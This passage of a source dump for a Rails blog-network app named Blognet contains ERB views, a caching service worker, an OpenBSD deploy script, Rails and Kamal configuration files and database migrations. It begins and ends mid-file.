%&gt;\n  \n\n```\n\n## `rails/blognet/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/blognet/app/views/passwords/edit.html.erb`\n```erb\n\nUpdate your password\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: password_path(params[:token]), method: :put do |form| %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"new-password\", placeholder: \"Enter new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.password_field :password_confirmation, required: true, autocomplete: \"new-password\", placeholder: \"Repeat new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Save\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/blognet/app/views/passwords/new.html.erb`\n```erb\n\nForgot your password?\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: passwords_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.submit \"Email reset instructions\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/blognet/app/views/passwords_mailer/reset.html.erb`\n```erb\n\n\n  You can reset your password on\n  &lt;%= link_to \"this password reset page\", edit_password_url(@user.password_reset_token) %&gt;.\n\n  This link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n\n```\n\n## `rails/blognet/app/views/passwords_mailer/reset.text.erb`\n```erb\nYou can reset your password on\n&lt;%= edit_password_url(@user.password_reset_token) %&gt;\n\nThis link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n```\n\n## `rails/blognet/app/views/posts/_form.html.erb`\n```erb\n&lt;%= form_with model: [@blog, post] do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: post %&gt;\n  \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, autofocus: true %&gt;\n  \n&lt;%= f.label :body %&gt;&lt;%= f.rich_text_area :body %&gt;\n  \n&lt;%= f.label :published %&gt;&lt;%= f.check_box :published %&gt;\n  \n&lt;%= f.submit %&gt; &lt;%= link_to \"Cancel\", blog_path(@blog) %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/blognet/app/views/posts/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit post\" %&gt;\n\nEdit post\n&lt;%= render \"form\", blog: @blog, post: @post %&gt;\n```\n\n## `rails/blognet/app/views/posts/index.html.erb`\n```erb\n&lt;% content_for :title, \"Posts \u00b7 #{@blog.name}\" %&gt;\n\n\n\n  \n&lt;%= @blog.name %&gt;\n  \n&lt;%= @blog.description %&gt;\n  &lt;% if @blog.user == Current.user %&gt;\n    &lt;%= link_to \"New post\", new_blog_post_path(@blog) %&gt;\n  &lt;% end %&gt;\n\n\n\n\n  &lt;% if @posts.any? %&gt;\n    &lt;% @posts.each do |post| %&gt;\n      \n\n        \n&lt;%= link_to post.title, blog_post_path(@blog, post) %&gt;\n        &lt;%= post.published_at&amp;.strftime(\"%b %-d, %Y\") %&gt; \u00b7 &lt;%= post.views_count %&gt; views \u00b7 &lt;%= post.comments_count %&gt; comments\n      \n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo posts published yet.\n  &lt;% end %&gt;\n\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/blognet/app/views/posts/new.html.erb`\n```erb\n&lt;% content_for :title, \"New post\" %&gt;\n\nNew post\n&lt;%= render \"form\", blog: @blog, post: @post %&gt;\n```\n\n## `rails/blognet/app/views/posts/show.html.erb`\n```erb\n&lt;% content_for :title, @post.title %&gt;\n\n\n  \n\n    \n&lt;%= @post.title %&gt;\n    &lt;%= @post.user.email_address.split(\"@\").first %&gt; \u00b7 &lt;%= @post.published_at&amp;.strftime(\"%b %-d, %Y\") %&gt; \u00b7 &lt;%= @post.views_count %&gt; views\n    &lt;% if @post.user == Current.user %&gt;\n      &lt;%= link_to \"Edit\", edit_blog_post_path(@blog, @post) %&gt;\n      &lt;%= button_to \"Delete\", blog_post_path(@blog, @post), method: :delete, data: { turbo_confirm: \"Delete post?\" } %&gt;\n    &lt;% end %&gt;\n  \n  &lt;%= @post.body %&gt;\n\n\n\n  \nComments (&lt;%= @post.comments_count %&gt;)\n  &lt;%= render @comments %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= form_with url: blog_post_comments_path(@blog, @post) do |f| %&gt;\n      \n&lt;%= f.text_area :content, rows: 3, placeholder: \"Add a comment\u2026\" %&gt;\n      \n&lt;%= f.submit \"Comment\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/blognet/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"Blognet\",\n  \"short_name\": \"Blognet\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\"\n    }\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"A network of blogs. Write, publish, and discover long-form content from writers worldwide.\",\n  \"theme_color\": \"#1a1a1a\",\n  \"background_color\": \"#1a1a1a\"\n}\n```\n\n## `rails/blognet/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE   = \"blognet-v2\"\nconst OFFLINE = \"/offline\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\", OFFLINE])))\n  self.skipWaiting()\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim()\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res\n    })))\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(OFFLINE)))\n  }\n})\n```\n\n## `rails/blognet/app/views/sessions/new.html.erb`\n```erb\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n&lt;% if flash[:notice] %&gt;\n&lt;%= flash[:notice] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: session_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"current-password\", placeholder: \"Enter your password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Sign in\" %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n```\n\n## `rails/blognet/blognet.sh`\n```bash\n#!/usr/bin/env zsh\n# blognet.sh \u2014 deploys the tracked Blognet Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=blognet\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=10002\nAPP_DOMAIN=blognet.no\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/blognet/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_mailbox/engine\"\nrequire \"action_text/engine\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\n# require \"rails/test_unit/railtie\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.1\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/blognet/config/cable.yml`\n```yaml\n# Async adapter only works within the same process, so for manually triggering cable updates from a console,\n# and seeing results in the browser, you must do so from the web console (running inside the dev process),\n# not a terminal started via bin/rails console! Add \"console\" to any action or any ERB template view\n# to make the web console appear.\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: solid_cable\n  connects_to:\n    database:\n      writing: cable\n  polling_interval: 0.1.seconds\n  message_retention: 1.day\n```\n\n## `rails/blognet/config/cache.yml`\n```yaml\ndefault: &amp;default\n  store_options:\n    # Cap age of oldest cache entry to fulfill retention policies\n    # max_age: &lt;%= 60.days.to_i %&gt;\n    max_size: &lt;%= 256.megabytes %&gt;\n    namespace: &lt;%= Rails.env %&gt;\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  database: cache\n  &lt;&lt;: *default\n```\n\n## `rails/blognet/config/database.yml`\n```yaml\n# SQLite. Versions 3.8.0 and up are supported.\n#   gem install sqlite3\n#\n#   Ensure the SQLite 3 gem is defined in your Gemfile\n#   gem \"sqlite3\"\n#\ndefault: &amp;default\n  adapter: sqlite3\n  max_connections: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  &lt;&lt;: *default\n  database: storage/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n  &lt;&lt;: *default\n  database: storage/test.sqlite3\n\n# Store production database in the storage/ directory, which by default\n# is mounted as a persistent Docker volume in config/deploy.yml.\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: storage/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: storage/production_cache.sqlite3\n    migrations_paths: db/cache_migrate\n  queue:\n    &lt;&lt;: *default\n    database: storage/production_queue.sqlite3\n    migrations_paths: db/queue_migrate\n  cable:\n    &lt;&lt;: *default\n    database: storage/production_cable.sqlite3\n    migrations_paths: db/cable_migrate\n```\n\n## `rails/blognet/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# If used with Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n#\n# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.\n#\n# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).\n#\n# proxy:\n#   ssl: true\n#   host: blognet.no\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.4.9\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/blognet/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"blognet.no\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"blognet.no\", \"www.blognet.no\"]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/blognet/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\n```\n\n## `rails/blognet/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\n# This configuration file will be evaluated by Puma. The top-level methods that\n# are invoked here are part of Puma's configuration DSL. For more information\n# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.\n#\n# Puma starts a configurable number of processes (workers) and each process\n# serves each request in a thread from an internal thread pool.\n#\n# You can control the number of workers using ENV[\"WEB_CONCURRENCY\"]. You\n# should only set this value when you want to run 2 or more workers. The\n# default is already 1. You can set it to `auto` to automatically start a worker\n# for each available processor.\n#\n# The ideal number of threads per worker depends both on how much time the\n# application spends waiting for IO operations and on how much you wish to\n# prioritize throughput over latency.\n#\n# As a rule of thumb, increasing the number of threads will increase how much\n# traffic a given process can handle (throughput), but due to CRuby's\n# Global VM Lock (GVL) it has diminishing returns and will degrade the\n# response time (latency) of the application.\n#\n# The default is set to 3 threads as it's deemed a decent compromise between\n# throughput and latency for the average Rails application.\n#\n# Any libraries that use a connection pool or another resource pool should\n# be configured to provide at least as many connections as the number of\n# threads. This includes Active Record's `pool` parameter in `database.yml`.\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\n\n# Specifies the `port` that Puma will listen on to receive requests; default is 3000.\nport ENV.fetch(\"PORT\", 3000)\n\n# Allow puma to be restarted by `bin/rails restart` command.\nplugin :tmp_restart\n\n# Run the Solid Queue supervisor inside of Puma for single-server deployments.\nplugin :solid_queue if ENV[\"SOLID_QUEUE_IN_PUMA\"]\n\n# Specify the PID file. Defaults to tmp/pids/server.pid in development.\n# In other environments, only set the PID file if requested.\npidfile ENV[\"PIDFILE\"] if ENV[\"PIDFILE\"]\n```\n\n## `rails/blognet/config/queue.yml`\n```yaml\ndefault: &amp;default\n  dispatchers:\n    - polling_interval: 1\n      batch_size: 500\n  workers:\n    - queues: \"*\"\n      threads: 3\n      processes: &lt;%= ENV.fetch(\"JOB_CONCURRENCY\", 1) %&gt;\n      polling_interval: 0.1\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  &lt;&lt;: *default\n```\n\n## `rails/blognet/config/recurring.yml`\n```yaml\n# examples:\n#   periodic_cleanup:\n#     class: CleanSoftDeletedRecordsJob\n#     queue: background\n#     args: [ 1000, { batch_size: 500 } ]\n#     schedule: every hour\n#   periodic_cleanup_with_command:\n#     command: \"SoftDeletedRecord.due.delete_all\"\n#     priority: 2\n#     schedule: at 5am every day\n\nproduction:\n  clear_solid_queue_finished_jobs:\n    command: \"SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)\"\n    schedule: every hour at minute 12\n```\n\n## `rails/blognet/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  resource  :session\n  resources :passwords, param: :token\n\n  resources :blogs, path: \"b\" do\n    resources :posts, path: \"p\" do\n      resources :comments, only: %i[create destroy]\n    end\n  end\n\n  root \"blogs#index\"\n  get 'manifest' =&gt; 'rails/pwa#manifest', as: :pwa_manifest\n  get 'service-worker' =&gt; 'rails/pwa#service_worker', as: :pwa_service_worker\n  get \"up\", to: \"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/blognet/db/cable_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.1].define(version: 1) do\n  create_table \"solid_cable_messages\", force: :cascade do |t|\n    t.binary \"channel\", limit: 1024, null: false\n    t.binary \"payload\", limit: 536870912, null: false\n    t.datetime \"created_at\", null: false\n    t.integer \"channel_hash\", limit: 8, null: false\n    t.index [\"channel\"], name: \"index_solid_cable_messages_on_channel\"\n    t.index [\"channel_hash\"], name: \"index_solid_cable_messages_on_channel_hash\"\n    t.index [\"created_at\"], name: \"index_solid_cable_messages_on_created_at\"\n  end\nend\n```\n\n## `rails/blognet/db/cache_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.2].define(version: 1) do\n  create_table \"solid_cache_entries\", force: :cascade do |t|\n    t.binary \"key\", limit: 1024, null: false\n    t.binary \"value\", limit: 536870912, null: false\n    t.datetime \"created_at\", null: false\n    t.integer \"key_hash\", limit: 8, null: false\n    t.integer \"byte_size\", limit: 4, null: false\n    t.index [\"byte_size\"], name: \"index_solid_cache_entries_on_byte_size\"\n    t.index [\"key_hash\", \"byte_size\"], name: \"index_solid_cache_entries_on_key_hash_and_byte_size\"\n    t.index [\"key_hash\"], name: \"index_solid_cache_entries_on_key_hash\", unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260501020807_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260501020818_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/blognet/db/migrate/20260501020848_create_active_storage_tables.active_storage.rb`\n```ruby\n# frozen_string_literal: true\n\n# This migration comes from active_storage (originally 20170806125915)\nclass CreateActiveStorageTables &lt; ActiveRecord::Migration[7.0]\n  def change\n    # Use Active Record's configured type for primary and foreign keys\n    primary_key_type, foreign_key_type = primary_and_foreign_key_types\n\n    create_table :active_storage_blobs, id: primary_key_type do |t|\n      t.string   :key,          null: false\n      t.string   :filename,     null: false\n      t.string   :content_type\n      t.text     :metadata\n      t.string   :service_name, null: false\n      t.bigint   :byte_size,    null: false\n      t.string   :checksum\n\n      if connection.supports_datetime_with_precision?\n        t.datetime :created_at, precision: 6, null: false\n      else\n        t.datetime :created_at, null: false\n      end\n\n      t.index [ 